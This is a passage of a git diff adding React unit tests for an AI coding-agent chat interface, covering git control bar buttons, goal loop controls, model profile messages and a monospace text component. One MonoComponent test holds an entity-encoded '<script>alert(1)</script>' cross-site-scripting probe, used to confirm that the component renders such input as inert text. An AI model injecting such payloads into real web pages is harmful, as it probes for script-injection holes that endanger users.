+  it("opens the workspace file when clicked without a custom handler", async () => {
+    const user = userEvent.setup();
+    render(<FilePathChip path="test.md" />);
+
+    await user.click(screen.getByTestId("file-path-chip"));
+
+    expect(openWorkspaceFile).toHaveBeenCalledWith("test.md", "conv-1");
+  });
+
+  it("prefers a custom onClick over the default open handler", async () => {
+    const user = userEvent.setup();
+    const onClick = vi.fn();
+    render(<FilePathChip path="test.md" onClick={onClick} />);
+
+    await user.click(screen.getByTestId("file-path-chip"));
+
+    expect(onClick).toHaveBeenCalledTimes(1);
+    expect(openWorkspaceFile).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/features/chat/git-control-bar-pull-button.test.tsx b/__tests__/components/features/chat/git-control-bar-pull-button.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..83f86e237099cc7a09a49bad511db703afe96859
--- /dev/null
+++ b/__tests__/components/features/chat/git-control-bar-pull-button.test.tsx
@@ -0,0 +1,64 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect, vi } from "vitest";
+import { GitControlBarPullButton } from "#/components/features/chat/git-control-bar-pull-button";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackPullButtonClick: vi.fn(),
+  }),
+}));
+
+vi.mock("#/icons/u-arrow-down.svg?react", () => ({
+  default: ({ color }: { color?: string }) => (
+    <svg data-testid="pull-icon" data-color={color ?? ""} />
+  ),
+}));
+
+describe("GitControlBarPullButton", () => {
+  it("uses muted theme colors when inactive during conversation loading", () => {
+    render(
+      <GitControlBarPullButton
+        onSuggestionsClick={vi.fn()}
+        hasRepository
+        providerTokensReady
+        isConversationReady={false}
+      />,
+    );
+
+    const button = screen.getByRole("button");
+    expect(button).toBeDisabled();
+    expect(button.className).toContain("text-[var(--oh-muted)]");
+    expect(button.className).toContain("opacity-50");
+    expect(button.className).not.toContain("hover:bg-tertiary");
+    expect(screen.getByTestId("pull-icon")).toHaveAttribute(
+      "data-color",
+      "var(--oh-muted)",
+    );
+  });
+
+  it("uses active theme colors when conversation is ready", () => {
+    render(
+      <GitControlBarPullButton
+        onSuggestionsClick={vi.fn()}
+        hasRepository
+        providerTokensReady
+        isConversationReady
+      />,
+    );
+
+    const button = screen.getByRole("button");
+    expect(button).not.toBeDisabled();
+    expect(button.className).toContain("text-white");
+    expect(button.className).toContain("hover:bg-tertiary");
+    expect(screen.getByTestId("pull-icon")).toHaveAttribute(
+      "data-color",
+      "white",
+    );
+  });
+});
diff --git a/__tests__/components/features/chat/git-control-bar-repo-button.test.tsx b/__tests__/components/features/chat/git-control-bar-repo-button.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..46d6ca2f51d4b0b940d610f37a765f2e51912416
--- /dev/null
+++ b/__tests__/components/features/chat/git-control-bar-repo-button.test.tsx
@@ -0,0 +1,204 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { GitControlBarRepoButton } from "#/components/features/chat/git-control-bar-repo-button";
+
+// Mock react-i18next
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}));
+
+// Mock GitProviderIcon
+vi.mock("#/components/shared/git-provider-icon", () => ({
+  GitProviderIcon: ({ gitProvider }: { gitProvider: string }) => (
+    <span data-testid="git-provider-icon">{gitProvider}</span>
+  ),
+}));
+
+// Mock GitExternalLinkIcon
+vi.mock("#/components/features/chat/git-external-link-icon", () => ({
+  GitExternalLinkIcon: () => (
+    <span data-testid="git-external-link-icon">external</span>
+  ),
+}));
+
+// Mock RepoForkedIcon
+vi.mock("#/icons/repo-forked.svg?react", () => ({
+  default: () => <span data-testid="repo-forked-icon">forked</span>,
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => ({ data: { provider_tokens_set: {} } }),
+}));
+
+// Mock constructRepositoryUrl
+vi.mock("#/utils/utils", async (importOriginal) => {
+  const actual = await importOriginal<typeof import("#/utils/utils")>();
+  return {
+    ...actual,
+    constructRepositoryUrl: (provider: string, repo: string) =>
+      `https://${provider}.com/${repo}`,
+  };
+});
+
+describe("GitControlBarRepoButton", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  describe("when repository is connected", () => {
+    it("should render as a link with repository name", () => {
+      render(
+        <GitControlBarRepoButton
+          selectedRepository="owner/repo"
+          gitProvider="github"
+        />,
+      );
+
+      const link = screen.getByRole("link");
+      expect(link).toHaveAttribute("href", "https://github.com/owner/repo");
+      expect(link).toHaveAttribute("target", "_blank");
+      expect(screen.getByText("owner/repo")).toBeInTheDocument();
+    });
+
+    it("should show git provider icon and external link icon", () => {
+      render(
+        <GitControlBarRepoButton
+          selectedRepository="owner/repo"
+          gitProvider="github"
+        />,
+      );
+
+      expect(screen.getByTestId("git-provider-icon")).toBeInTheDocument();
+      expect(screen.getByTestId("git-external-link-icon")).toBeInTheDocument();
+    });
+
+    it("should not show repo forked icon", () => {
+      render(
+        <GitControlBarRepoButton
+          selectedRepository="owner/repo"
+          gitProvider="github"
+        />,
+      );
+
+      expect(screen.queryByTestId("repo-forked-icon")).not.toBeInTheDocument();
+    });
+  });
+
+  describe("when only a workspace name is provided", () => {
+    it("should display the workspace name as the button text", () => {
+      render(
+        <GitControlBarRepoButton
+          selectedRepository={null}
+          gitProvider={null}
+          workspaceName="test"
+        />,
+      );
+
+      expect(screen.getByText("test")).toBeInTheDocument();
+    });
+  });
+
+  describe("when no repository is connected", () => {
+    it("should render as a button with 'Connect Repo' i18n key", () => {
+      render(
+        <GitControlBarRepoButton
+          selectedRepository={null}
+          gitProvider={null}
+        />,
+      );
+
+      const button = screen.getByRole("button");
+      expect(button).toBeInTheDocument();
+      expect(screen.getByText("COMMON$CONNECT_REPO")).toBeInTheDocument();
+    });
+
+    it("should show folder-open icon for connect-repo CTA", () => {
+      render(
+        <GitControlBarRepoButton
+          selectedRepository={null}
+          gitProvider={null}
+        />,
+      );
+
+      expect(
+        screen.getByTestId("git-control-bar-connect-repo-icon"),
+      ).toBeInTheDocument();
+      expect(screen.queryByTestId("repo-forked-icon")).not.toBeInTheDocument();
+    });
+
+    it("should not show external link icon", () => {
+      render(
+        <GitControlBarRepoButton
+          selectedRepository={null}
+          gitProvider={null}
+        />,
+      );
+
+      expect(
+        screen.queryByTestId("git-external-link-icon"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("should call onClick when clicked", async () => {
+      const handleClick = vi.fn();
+      const user = userEvent.setup();
+
+      render(
+        <GitControlBarRepoButton
+          selectedRepository={null}
+          gitProvider={null}
+          onClick={handleClick}
+        />,
+      );
+
+      await user.click(screen.getByRole("button"));
+      expect(handleClick).toHaveBeenCalledTimes(1);
+    });
+
+    it("should be disabled when disabled prop is true", () => {
+      render(
+        <GitControlBarRepoButton
+          selectedRepository={null}
+          gitProvider={null}
+          disabled={true}
+        />,
+      );
+
+      const button = screen.getByRole("button");
+      expect(button).toBeDisabled();
+    });
+
+    it("should be clickable when disabled prop is false", () => {
+      render(
+        <GitControlBarRepoButton
+          selectedRepository={null}
+          gitProvider={null}
+          disabled={false}
+        />,
+      );
+
+      const button = screen.getByRole("button");
+      expect(button).not.toBeDisabled();
+    });
+
+    it("should not call onClick when disabled", async () => {
+      const handleClick = vi.fn();
+      const user = userEvent.setup();
+
+      render(
+        <GitControlBarRepoButton
+          selectedRepository={null}
+          gitProvider={null}
+          onClick={handleClick}
+          disabled={true}
+        />,
+      );
+
+      await user.click(screen.getByRole("button"));
+      expect(handleClick).not.toHaveBeenCalled();
+    });
+  });
+});
diff --git a/__tests__/components/features/chat/git-control-bar.test.tsx b/__tests__/components/features/chat/git-control-bar.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b1c067d0ac52b03e286b1fdc2f73582190e39966
--- /dev/null
+++ b/__tests__/components/features/chat/git-control-bar.test.tsx
@@ -0,0 +1,283 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { screen } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+
+import { useActiveBackend } from "#/contexts/active-backend-context";
+import { useActiveConversation } from "#/hooks/query/use-active-conversation";
+import { useTaskPolling } from "#/hooks/query/use-task-polling";
+import { useLocalGitInfo } from "#/hooks/query/use-local-git-info";
+import { useUnifiedWebSocketStatus } from "#/hooks/use-unified-websocket-status";
+import { useConversationWebSocket } from "#/contexts/conversation-websocket-context";
+import { useSendMessage } from "#/hooks/use-send-message";
+import { useUpdateConversationRepository } from "#/hooks/mutation/use-update-conversation-repository";
+import { useHomeStore } from "#/stores/home-store";
+import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store";
+import { getStoredConversationMetadata } from "#/api/conversation-metadata-store";
+import { GitControlBar } from "#/components/features/chat/git-control-bar";
+import { ScrollProvider } from "#/context/scroll-context";
+
+// Holder so the OpenRepositoryModal mock can hand its `onLaunch` prop back
+// to the test — the modal renders null but the parent's launch flow is the
+// only way to drive handleLaunchRepository.
+const mocks = vi.hoisted(() => ({
+  modalLaunchHandler: {
+    current: null as ((repo: unknown, branch: unknown) => void) | null,
+  },
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+  useConversationId: () => ({ conversationId: "test-conversation-id" }),
+}));
+vi.mock("#/contexts/active-backend-context");
+vi.mock("#/hooks/query/use-active-conversation");
+vi.mock("#/hooks/query/use-task-polling");
+vi.mock("#/hooks/query/use-local-git-info");
+vi.mock("#/hooks/use-unified-websocket-status");
+vi.mock("#/contexts/conversation-websocket-context");
+vi.mock("#/hooks/use-send-message");
+vi.mock("#/hooks/mutation/use-update-conversation-repository");
+vi.mock("#/stores/home-store");
+vi.mock("#/stores/optimistic-user-message-store");
+vi.mock("#/api/conversation-metadata-store");
+
+vi.mock("#/components/features/chat/git-control-bar-repo-button", () => ({
+  GitControlBarRepoButton: ({ disabled }: { disabled?: boolean }) => (
+    <button
+      data-testid="git-control-bar-repo-button"
+      type="button"
+      data-disabled={String(!!disabled)}
+    />
+  ),
+}));
+vi.mock("#/components/features/chat/git-control-bar-branch-button", () => ({
+  GitControlBarBranchButton: () => null,
+}));
+vi.mock("#/components/features/chat/git-control-bar-pull-button", () => ({
+  GitControlBarPullButton: () => null,
+}));
+vi.mock("#/components/features/chat/git-control-bar-push-button", () => ({
+  GitControlBarPushButton: () => null,
+}));
+vi.mock("#/components/features/chat/git-control-bar-pr-button", () => ({
+  GitControlBarPrButton: () => null,
+}));
+vi.mock("#/components/features/chat/git-control-bar-tooltip-wrapper", () => ({
+  GitControlBarTooltipWrapper: ({ children }: { children: React.ReactNode }) =>
+    children,
+}));
+vi.mock("#/components/features/chat/open-repository-modal", () => ({
+  OpenRepositoryModal: (props: {
+    onLaunch?: (repo: unknown, branch: unknown) => void;
+  }) => {
+    mocks.modalLaunchHandler.current = props.onLaunch ?? null;
+    return null;
+  },
+}));
+
+const makeBackend = (kind: "local" | "cloud") => ({
+  backend: {
+    id: "backend-id",
+    name: kind === "local" ? "Local" : "Cloud",
+    host: "http://example.test",
+    apiKey: "test-key",
+    kind,
+  },
+  orgId: null,
+});
+
+describe("GitControlBar clone prompt format", () => {
+  // Helper function that mirrors the logic in git-control-bar.tsx
+  const generateClonePrompt = (
+    fullName: string,
+    gitProvider: string,
+    branchName: string,
+  ) => {
+    const providerName =
+      gitProvider.charAt(0).toUpperCase() + gitProvider.slice(1);
+    return `Clone ${fullName} from ${providerName} and checkout branch ${branchName}.`;
+  };
+
+  it("should include GitHub in clone prompt for github provider", () => {
+    const prompt = generateClonePrompt("user/repo", "github", "main");
+    expect(prompt).toBe(
+      "Clone user/repo from Github and checkout branch main.",
+    );
+  });
+
+  it("should include GitLab in clone prompt for gitlab provider", () => {
+    const prompt = generateClonePrompt("group/project", "gitlab", "develop");
+    expect(prompt).toBe(
+      "Clone group/project from Gitlab and checkout branch develop.",
+    );
+  });
+
+  it("should handle different branch names", () => {
+    const prompt = generateClonePrompt(
+      "hieptl.developer-group/hieptl.developer-project",
+      "gitlab",
+      "add-batman-microagent",
+    );
+    expect(prompt).toBe(
+      "Clone hieptl.developer-group/hieptl.developer-project from Gitlab and checkout branch add-batman-microagent.",
+    );
+  });
+
+  it("should capitalize first letter of provider name", () => {
+    const githubPrompt = generateClonePrompt("a/b", "github", "main");
+    const gitlabPrompt = generateClonePrompt("a/b", "gitlab", "main");
+
+    expect(githubPrompt).toContain("from Github");
+    expect(gitlabPrompt).toContain("from Gitlab");
+  });
+});
+
+describe("GitControlBar repo button visibility", () => {
+  beforeEach(() => {
+    vi.mocked(useActiveConversation).mockReturnValue({
+      data: { id: "test-conversation-id" },
+    } as ReturnType<typeof useActiveConversation>);
+    vi.mocked(useTaskPolling).mockReturnValue({
+      repositoryInfo: null,
+    } as unknown as ReturnType<typeof useTaskPolling>);
+    vi.mocked(useLocalGitInfo).mockReturnValue({
+      data: null,
+    } as unknown as ReturnType<typeof useLocalGitInfo>);
+    vi.mocked(useUnifiedWebSocketStatus).mockReturnValue("OPEN");
+    vi.mocked(useConversationWebSocket).mockReturnValue({
+      isLoadingHistory: false,
+    } as ReturnType<typeof useConversationWebSocket>);
+    vi.mocked(useSendMessage).mockReturnValue({
+      send: vi.fn(),
+    } as unknown as ReturnType<typeof useSendMessage>);
+    vi.mocked(useUpdateConversationRepository).mockReturnValue({
+      mutate: vi.fn(),
+    } as unknown as ReturnType<typeof useUpdateConversationRepository>);
+    vi.mocked(useHomeStore).mockReturnValue({
+      addRecentRepository: vi.fn(),
+    } as unknown as ReturnType<typeof useHomeStore>);
+    vi.mocked(useOptimisticUserMessageStore).mockImplementation(((
+      selector: (s: unknown) => unknown,
+    ) =>
+      selector({
+        enqueuePendingMessage: vi.fn(),
+        markPendingMessageError: vi.fn(),
+      })) as unknown as typeof useOptimisticUserMessageStore);
+    vi.mocked(getStoredConversationMetadata).mockReturnValue(null);
+  });
+
+  it("hides the repo button on a local backend with no repository or workspace name", () => {
+    vi.mocked(useActiveBackend).mockReturnValue(makeBackend("local"));
+
+    renderWithProviders(<GitControlBar onSuggestionsClick={vi.fn()} />);
+
+    expect(
+      screen.queryByTestId("git-control-bar-repo-button"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the repo button on a cloud backend with no repository connected", () => {
+    vi.mocked(useActiveBackend).mockReturnValue(makeBackend("cloud"));
+
+    renderWithProviders(<GitControlBar onSuggestionsClick={vi.fn()} />);
+
+    expect(
+      screen.getByTestId("git-control-bar-repo-button"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders the repo button as disabled on a local backend when only a workspace name is available", () => {
+    vi.mocked(useActiveBackend).mockReturnValue(makeBackend("local"));
+    vi.mocked(getStoredConversationMetadata).mockReturnValue({
+      selected_workspace: "/projects/my-app",
+    } as ReturnType<typeof getStoredConversationMetadata>);
+
+    renderWithProviders(<GitControlBar onSuggestionsClick={vi.fn()} />);
+
+    const button = screen.getByTestId("git-control-bar-repo-button");
+    expect(button).toHaveAttribute("data-disabled", "true");
+  });
+
+  it("renders the repo button as disabled while conversation history is loading", () => {
+    vi.mocked(useActiveBackend).mockReturnValue(makeBackend("cloud"));
+    vi.mocked(useConversationWebSocket).mockReturnValue({
+      isLoadingHistory: true,
+    } as ReturnType<typeof useConversationWebSocket>);
+
+    renderWithProviders(<GitControlBar onSuggestionsClick={vi.fn()} />);
+
+    const button = screen.getByTestId("git-control-bar-repo-button");
+    expect(button).toHaveAttribute("data-disabled", "true");
+  });
+});
+
+describe("GitControlBar - Auto-scroll on clone (issue #817)", () => {
+  beforeEach(() => {
+    mocks.modalLaunchHandler.current = null;
+    vi.mocked(useActiveBackend).mockReturnValue(makeBackend("cloud"));
+    vi.mocked(useActiveConversation).mockReturnValue({
+      data: { id: "test-conversation-id" },
+    } as ReturnType<typeof useActiveConversation>);
+    vi.mocked(useTaskPolling).mockReturnValue({
+      repositoryInfo: null,
+    } as unknown as ReturnType<typeof useTaskPolling>);
+    vi.mocked(useLocalGitInfo).mockReturnValue({
+      data: null,
+    } as unknown as ReturnType<typeof useLocalGitInfo>);
+    vi.mocked(useUnifiedWebSocketStatus).mockReturnValue("OPEN");
+    vi.mocked(useSendMessage).mockReturnValue({
+      send: vi.fn().mockResolvedValue(undefined),
+    } as unknown as ReturnType<typeof useSendMessage>);
+    // updateRepository mocked to invoke onSuccess synchronously so the
+    // post-update branch (where the scroll now lives) runs deterministically.
+    vi.mocked(useUpdateConversationRepository).mockReturnValue({
+      mutate: (_args: unknown, options: { onSuccess?: () => void }) => {
+        options?.onSuccess?.();
+      },
+    } as unknown as ReturnType<typeof useUpdateConversationRepository>);
+    vi.mocked(useHomeStore).mockReturnValue({
+      addRecentRepository: vi.fn(),
+    } as unknown as ReturnType<typeof useHomeStore>);
+    vi.mocked(useOptimisticUserMessageStore).mockImplementation(((
+      selector: (s: unknown) => unknown,
+    ) =>
+      selector({
+        enqueuePendingMessage: vi.fn().mockReturnValue("pending-id"),
+        markPendingMessageError: vi.fn(),
+      })) as unknown as typeof useOptimisticUserMessageStore);
+    vi.mocked(getStoredConversationMetadata).mockReturnValue(null);
+  });
+
+  it("scrolls the chat to bottom after a successful clone is enqueued", () => {
+    // Arrange: provide a spy via ScrollProvider so we can observe the
+    // scroll callback the bar pulls out of useOptionalScrollContext.
+    const scrollDomToBottom = vi.fn();
+    const scrollValue = {
+      scrollRef: { current: null },
+      autoScroll: true,
+      setAutoScroll: vi.fn(),
+      scrollDomToBottom,
+      hitBottom: true,
+      setHitBottom: vi.fn(),
+      onChatBodyScroll: vi.fn(),
+    };
+
+    renderWithProviders(
+      <ScrollProvider value={scrollValue}>
+        <GitControlBar onSuggestionsClick={vi.fn()} />
+      </ScrollProvider>,
+    );
+
+    expect(typeof mocks.modalLaunchHandler.current).toBe("function");
+
+    // Act: drive handleLaunchRepository the same way the modal does.
+    mocks.modalLaunchHandler.current?.(
+      { full_name: "user/repo", git_provider: "github" },
+      { name: "main" },
+    );
+
+    // Assert: the optimistic clone bubble must pull the chat back to the
+    // bottom even if the user had scrolled up.
+    expect(scrollDomToBottom).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/__tests__/components/features/chat/goal-status-content.test.tsx b/__tests__/components/features/chat/goal-status-content.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..903d02d63c7b7a381dfdd7ad9731a8d618f58d65
--- /dev/null
+++ b/__tests__/components/features/chat/goal-status-content.test.tsx
@@ -0,0 +1,78 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { GoalStatusContent } from "#/components/features/chat/goal-status-content";
+import { useGoalStore } from "#/stores/goal-store";
+import type { GoalStatus } from "#/types/agent-server/core/events/conversation-state-event";
+
+const stopGoal = vi.fn();
+const resumeGoal = vi.fn();
+const pauseConversation = vi.fn();
+
+vi.mock("#/hooks/mutation/conversation-mutation-utils", () => ({
+  stopGoal: (...a: unknown[]) => stopGoal(...a),
+  resumeGoal: (...a: unknown[]) => resumeGoal(...a),
+  pauseConversation: (...a: unknown[]) => pauseConversation(...a),
+}));
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: "conv-1" }),
+}));
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({ t: (key: string) => key }),
+}));
+
+const status = (overrides: Partial<GoalStatus> = {}): GoalStatus =>
+  ({
+    active: false,
+    status: "interrupted",
+    iteration: 1,
+    max_iterations: 10,
+    objective: "do the thing",
+    verdict: null,
+    ...overrides,
+  }) as GoalStatus;
+
+describe("GoalStatusContent loop controls", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    stopGoal.mockResolvedValue(undefined);
+    resumeGoal.mockResolvedValue(undefined);
+    pauseConversation.mockResolvedValue(undefined);
+    useGoalStore.setState({ statusByConversation: {} });
+  });
+
+  it("Stop cancels the loop and interrupts the agent on an active goal", async () => {
+    render(
+      <GoalStatusContent
+        status={status({ active: true, status: "running" })}
+      />,
+    );
+    await userEvent.click(screen.getByTestId("goal-stop"));
+    await waitFor(() => expect(stopGoal).toHaveBeenCalledWith("conv-1"));
+    await waitFor(() =>
+      expect(pauseConversation).toHaveBeenCalledWith("conv-1"),
+    );
+  });
+
+  it("Resume continues an interrupted goal", async () => {
+    render(<GoalStatusContent status={status({ status: "interrupted" })} />);
+    await userEvent.click(screen.getByTestId("goal-resume"));
+    await waitFor(() => expect(resumeGoal).toHaveBeenCalledWith("conv-1"));
+  });
+
+  it("hides Resume while another goal is already active", () => {
+    useGoalStore.setState({
+      statusByConversation: {
+        "conv-1": status({ active: true, status: "running" }),
+      },
+    });
+    render(<GoalStatusContent status={status({ status: "interrupted" })} />);
+    expect(screen.queryByTestId("goal-resume")).toBeNull();
+  });
+
+  it("shows no controls for a completed goal", () => {
+    render(<GoalStatusContent status={status({ status: "complete" })} />);
+    expect(screen.queryByTestId("goal-stop")).toBeNull();
+    expect(screen.queryByTestId("goal-resume")).toBeNull();
+  });
+});
diff --git a/__tests__/components/features/chat/model-messages.test.tsx b/__tests__/components/features/chat/model-messages.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ac83ec5f21d608a5bcb2701daca7fbb3d7b4ffc2
--- /dev/null
+++ b/__tests__/components/features/chat/model-messages.test.tsx
@@ -0,0 +1,144 @@
+import { beforeEach, describe, expect, it } from "vitest";
+import { screen } from "@testing-library/react";
+import i18n from "i18next";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { ModelMessages } from "#/components/features/chat/model-messages";
+import { useModelStore } from "#/stores/model-store";
+import { useFreeModelsStore } from "#/stores/free-models-store";
+import type { ProfileInfo } from "#/api/profiles-service/profiles-service.api";
+
+const CONVERSATION_ID = "conv-1";
+
+const profiles: ProfileInfo[] = [
+  {
+    name: "haiku",
+    model: "anthropic/claude-haiku-4-5",
+    base_url: "https://llm.example.test",
+    api_key_set: true,
+  },
+  {
+    name: "gpt",
+    model: "openai/gpt-5.1",
+    base_url: null,
+    api_key_set: false,
+  },
+];
+
+describe("ModelMessages", () => {
+  beforeEach(() => {
+    const resources = {
+      MODEL$AVAILABLE_PROFILES: "Available profiles ({{count}})",
+      MODEL$NO_SAVED_PROFILES: "No saved profiles",
+      MODEL$NO_PROFILES_HINT:
+        "Use the LLM settings page to create a profile, then run /model <name> to switch.",
+      MODEL$SWITCHED_TO_PROFILE: "ℹ️ Switched to profile <cmd>{{name}}</cmd>",
+    };
+    i18n.addResourceBundle("en", "translation", resources, true, true);
+    i18n.addResourceBundle("en", "openhands", resources, true, true);
+    useModelStore.setState({ entriesByConversation: {} });
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(),
+      defaultModel: null,
+    });
+  });
+
+  it("renders only entries anchored to the requested event", async () => {
+    const user = userEvent.setup();
+    useModelStore.getState().show(CONVERSATION_ID, "event-1", [profiles[0]]);
+    useModelStore.getState().show(CONVERSATION_ID, "event-2", [profiles[1]]);
+
+    renderWithProviders(
+      <ModelMessages
+        conversationId={CONVERSATION_ID}
+        anchorEventId="event-1"
+      />,
+    );
+
+    expect(screen.getByTestId("model-messages")).toBeInTheDocument();
+    expect(screen.getByText("Available profiles (1)")).toBeInTheDocument();
+
+    await user.click(screen.getByRole("button", { name: "BUTTON$EXPAND" }));
+
+    const profileToggle = screen.getByRole("button", {
+      name: "Toggle details for haiku",
+    });
+    expect(profileToggle).toHaveAttribute("aria-expanded", "false");
+    expect(
+      screen.queryByRole("button", { name: "Toggle details for gpt" }),
+    ).not.toBeInTheDocument();
+
+    await user.click(profileToggle);
+    expect(profileToggle).toHaveAttribute("aria-expanded", "true");
+
+    expect(
+      screen.getByText(/model:\s+anthropic\/claude-haiku-4-5/),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(/base_url:\s+https:\/\/llm\.example\.test/),
+    ).toBeInTheDocument();
+    expect(screen.getByText(/api_key:\s+set/)).toBeInTheDocument();
+  });
+
+  it("renders empty-profile hints expanded by default", () => {
+    useModelStore.getState().show(CONVERSATION_ID, null, []);
+
+    renderWithProviders(
+      <ModelMessages conversationId={CONVERSATION_ID} anchorEventId={null} />,
+    );
+
+    expect(screen.getByText("No saved profiles")).toBeInTheDocument();
+    expect(
+      screen.getByText(
+        "Use the LLM settings page to create a profile, then run /model <name> to switch.",
+      ),
+    ).toBeInTheDocument();
+  });
+
+  it("renders switch confirmations for the matching anchor", () => {
+    useModelStore.getState().recordSwitch(CONVERSATION_ID, "event-1", "haiku");
+
+    renderWithProviders(
+      <ModelMessages
+        conversationId={CONVERSATION_ID}
+        anchorEventId="event-1"
+      />,
+    );
+
+    expect(screen.getByTestId("model-messages")).toHaveTextContent(
+      "ℹ️ Switched to profile haiku",
+    );
+  });
+
+  it("labels a DB-flagged free OpenHands route in expanded profile diagnostics", async () => {
+    const user = userEvent.setup();
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(["openhands/glm-5.2"]),
+      defaultModel: "openhands/glm-5.2",
+    });
+    useModelStore.getState().show(CONVERSATION_ID, "event-1", [
+      {
+        name: "free",
+        model: "openhands/glm-5.2",
+        base_url: null,
+        api_key_set: true,
+      },
+    ]);
+
+    renderWithProviders(
+      <ModelMessages
+        conversationId={CONVERSATION_ID}
+        anchorEventId="event-1"
+      />,
+    );
+
+    await user.click(screen.getByRole("button", { name: "BUTTON$EXPAND" }));
+    await user.click(
+      screen.getByRole("button", { name: "Toggle details for free" }),
+    );
+
+    expect(
+      screen.getByText(/model:\s+openhands\/glm-5\.2 \(free\)/),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/chat/mono-component.test.tsx b/__tests__/components/features/chat/mono-component.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..94be3502c02c93e29e86573ec36e8ff5885a0f58
--- /dev/null
+++ b/__tests__/components/features/chat/mono-component.test.tsx
@@ -0,0 +1,77 @@
+import { render } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { MonoComponent } from "#/components/features/chat/mono-component";
+import EventLogger from "#/utils/event-logger";
+
+const getMonoElement = (container: HTMLElement): HTMLElement => {
+  const element = container.querySelector("strong");
+  if (!(element instanceof HTMLElement)) {
+    throw new Error("Expected MonoComponent to render a strong element");
+  }
+  return element;
+};
+
+afterEach(() => {
+  vi.restoreAllMocks();
+});
+
+describe("MonoComponent", () => {
+  it("decodes HTML entities as inert monospace text", () => {
+    const { container } = render(
+      <MonoComponent>
+        Run &amp;amp; &#38;#60;script&#38;#62;alert(1)&#38;#60;/script&#38;#62;
+      </MonoComponent>,
+    );
+
+    const mono = getMonoElement(container);
+    expect(mono).toHaveClass("font-mono");
+    expect(mono.textContent).toBe("Run & <script>alert(1)</script>");
+    expect(container.querySelector("script")).not.toBeInTheDocument();
+  });
+
+  it("decodes string entries in mixed children while preserving other nodes", () => {
+    const children = ["A&amp;B", " / ", <em key="nested">nested</em>, 7];
+    const { container } = render(<MonoComponent>{children}</MonoComponent>);
+
+    const mono = getMonoElement(container);
+    expect(mono).toHaveClass("font-mono");
+    expect(mono.textContent).toBe("A&B / nested7");
+    expect(mono.querySelector("em")).toHaveTextContent("nested");
+  });
+
+  it("preserves a non-string child inside the monospace wrapper", () => {
+    const { container, getByTestId } = render(
+      <MonoComponent>
+        <span data-testid="nested-child">unchanged</span>
+      </MonoComponent>,
+    );
+
+    const mono = getMonoElement(container);
+    const child = getByTestId("nested-child");
+    expect(mono).toHaveClass("font-mono");
+    expect(mono).toContainElement(child);
+    expect(child).toHaveTextContent("unchanged");
+  });
+
+  it("logs decoding failures and preserves the original string", () => {
+    const originalCreateElement = document.createElement.bind(document);
+    vi.spyOn(document, "createElement").mockImplementation(((
+      tagName: string,
+      options?: ElementCreationOptions,
+    ) => {
+      if (tagName === "textarea") {
+        throw new Error("decode failed");
+      }
+      return originalCreateElement(tagName, options);
+    }) as typeof document.createElement);
+    const error = vi.spyOn(EventLogger, "error").mockImplementation(() => {});
+
+    const { container } = render(<MonoComponent>{"&amp;"}</MonoComponent>);
+
+    const mono = getMonoElement(container);
+    expect(mono).toHaveClass("font-mono");
+    expect(mono.textContent).toBe("&amp;");
+    expect(error).toHaveBeenCalledOnce();
+    expect(error).toHaveBeenCalledWith("Error: decode failed");
+  });
+});
diff --git a/__tests__/components/features/chat/open-repository-modal.test.tsx b/__tests__/components/features/chat/open-repository-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..3c08472c2b4d4bd3075adb8c747d4a2fdb3cda45
--- /dev/null
+++ b/__tests__/components/features/chat/open-repository-modal.test.tsx
@@ -0,0 +1,385 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { OpenRepositoryModal } from "#/components/features/chat/open-repository-modal";
+
+// Mock react-i18next
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}));
+
+// Mock useUserProviders - default to single provider (no dropdown shown)
+const mockProviders = vi.hoisted(() => ({
+  current: ["github"] as string[],
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+  useUserProviders: () => ({
+    providers: mockProviders.current,
+    isLoadingSettings: false,
+  }),
+}));
+
+// Mock GitProviderDropdown
+vi.mock(
+  "#/components/features/home/git-provider-dropdown/git-provider-dropdown",
+  () => ({
+    GitProviderDropdown: ({
+      providers,
+      onChange,
+    }: {
+      providers: string[];
+      onChange: (provider: string | null) => void;
+    }) => (
+      <div data-testid="git-provider-dropdown">
+        {providers.map((p: string) => (
